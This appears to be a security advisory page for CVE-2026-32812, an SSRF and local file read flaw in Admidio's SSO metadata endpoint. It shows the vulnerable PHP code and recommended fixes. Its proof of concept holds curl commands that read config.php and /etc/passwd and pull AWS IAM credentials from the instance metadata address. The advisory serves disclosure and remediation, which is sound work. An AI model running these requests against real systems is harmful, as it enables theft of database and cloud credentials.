CVE-2026-32812

MEDIUM6.8EPSS 0.02%

Admidio Vulnerable to SSRF and Local File Read via Unrestricted URL Fetch in SSO Metadata Endpoint

發布日:2026/3/16修改日:2026/3/20
也稱為:GHSA-6j68-gcc3-mq73

描述

## Summary The SSO metadata fetch endpoint at `modules/sso/fetch_metadata.php` accepts an arbitrary URL via `$_GET['url']`, validates it only with PHP's `FILTER_VALIDATE_URL`, and passes it directly to `file_get_contents()`. `FILTER_VALIDATE_URL` accepts `file://`, `http://`, `ftp://`, `data://`, and `php://` scheme URIs. An authenticated administrator can use this endpoint to read arbitrary local files via the `file://` wrapper (Local File Read), reach internal services via `http://` (SSRF), or fetch cloud instance metadata. The full response body is returned verbatim to the caller. ## Details ### Vulnerable Code File: `D:/bugcrowd/admidio/repo/modules/sso/fetch_metadata.php`, lines 9-34 ```php $url = filter_var($_GET['url'], FILTER_VALIDATE_URL); if (!$url) { http_response_code(400); echo "Invalid URL"; exit; } // Fetch metadata from external server $metadata = file_get_contents($url); if ($metadata === false) { http_response_code(500); echo "Failed to fetch metadata"; exit; } echo $metadata; ``` ### FILTER_VALIDATE_URL Does Not Block Dangerous Schemes PHP's `FILTER_VALIDATE_URL` is a format validator, not a security allowlist. It accepts any syntactically valid URL regardless of scheme or destination. The following schemes all pass validation and are handled by `file_get_contents()`: | Scheme | Impact | |--------|--------| | `file:///etc/passwd` | Read any local file the web server process can access | | `http://127.0.0.1/` | SSRF to localhost services (databases, admin panels, internal APIs) | | `http://169.254.169.254/latest/meta-data/` | AWS EC2 instance metadata (IAM credentials) | | `data://text/plain,payload` | Data URI content injection | Confirmed by testing PHP's filter_var() and file_get_contents() with all of the above: ``` php -r "var_dump(filter_var('file:///etc/passwd', FILTER_VALIDATE_URL));" // string(18) "file:///etc/passwd" <-- passes validation php -r "echo file_get_contents('file:///etc/passwd');" // root:x:0:0:root:/root:/bin/bash <-- file contents returned ``` ### file:// Does Not Require allow_url_fopen PHP's `file://` stream wrapper is the native filesystem handler and is always available regardless of the `allow_url_fopen` INI setting. The Local File Read vector works even on configurations that disable HTTP URL fetching. ### Response Is Returned Verbatim The fetched content is echoed directly at line 34 (`echo $metadata`), making the complete contents of any readable local file or internal service response available to the caller. ## PoC **Prerequisites:** Administrator account session cookie and CSRF token. **Step 1: Read the Admidio database configuration file** ``` curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \ -H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \ --data-urlencode "url=file:///var/www/html/adm_my_files/config.php" ``` Expected response: Full contents of config.php including the database host, username, and password in plaintext. **Step 2: Read system password file** ``` curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \ -H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \ --data-urlencode "url=file:///etc/passwd" ``` **Step 3: SSRF to AWS EC2 instance metadata (when deployed on AWS)** ``` curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \ -H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \ --data-urlencode "url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" ``` Expected response: IAM role name followed by temporary AWS access key and secret. **Step 4: SSRF to an internal service on localhost** ``` curl -G "https://TARGET/adm_program/modules/sso/fetch_metadata.php" \ -H "Cookie: ADMIDIO_SESSION_ID=<admin_session>" \ --data-urlencode "url=http://127.0.0.1:6379/" ``` (Probes a Redis instance on localhost.) ## Impact - **Local File Read:** The attacker can read any file accessible to the PHP web server process, including Admidio's `config.php` (database credentials), `/etc/passwd`, private keys stored in the web root, and `.env` files. - **Database Credential Theft:** Reading `config.php` exposes the database password. An attacker with the database password can access all member data, extract password hashes, and modify records directly, bypassing all application-level access controls. - **Cloud Metadata Exposure:** On AWS, GCP, or Azure deployments, fetching the instance metadata endpoint exposes IAM role credentials with potentially broad cloud-level access. - **Internal Network Reconnaissance:** The endpoint can probe internal services (Redis, Elasticsearch, internal admin panels) that are not externally accessible. - **Scope Change:** Impact escapes the Admidio application boundary, reaching the underlying server filesystem and internal network, justifying the S:C score. ## Recommended Fix ### Fix 1: Restrict to HTTPS scheme and block internal IP ranges ```php $rawUrl = $_GET['url'] ?? ''; // Only allow https:// scheme if (\!preg_match('#^https://#i', $rawUrl)) { http_response_code(400); echo "Only HTTPS URLs are permitted"; exit; } $url = filter_var($rawUrl, FILTER_VALIDATE_URL); if (\!$url) { http_response_code(400); echo "Invalid URL"; exit; } // Resolve hostname and block internal/private IP ranges $host = parse_url($url, PHP_URL_HOST); $ip = gethostbyname($host); if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) { http_response_code(400); echo "URL resolves to a private or reserved IP address"; exit; } $metadata = file_get_contents($url); ``` ### Fix 2: Use cURL with explicit scheme restriction ```php $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTPS); curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTPS); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); curl_setopt($ch, CURLOPT_TIMEOUT, 10); $metadata = curl_exec($ch); curl_close($ch); ``` Note: DNS rebinding protections should also be considered; resolving the hostname before the request and blocking the request if it resolves to a private IP provides defense-in-depth.

受影響套件(1)

CVSS 分數

來源版本嚴重程度向量
osvCVSS 3.1MEDIUM6.8CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N

參考連結(5)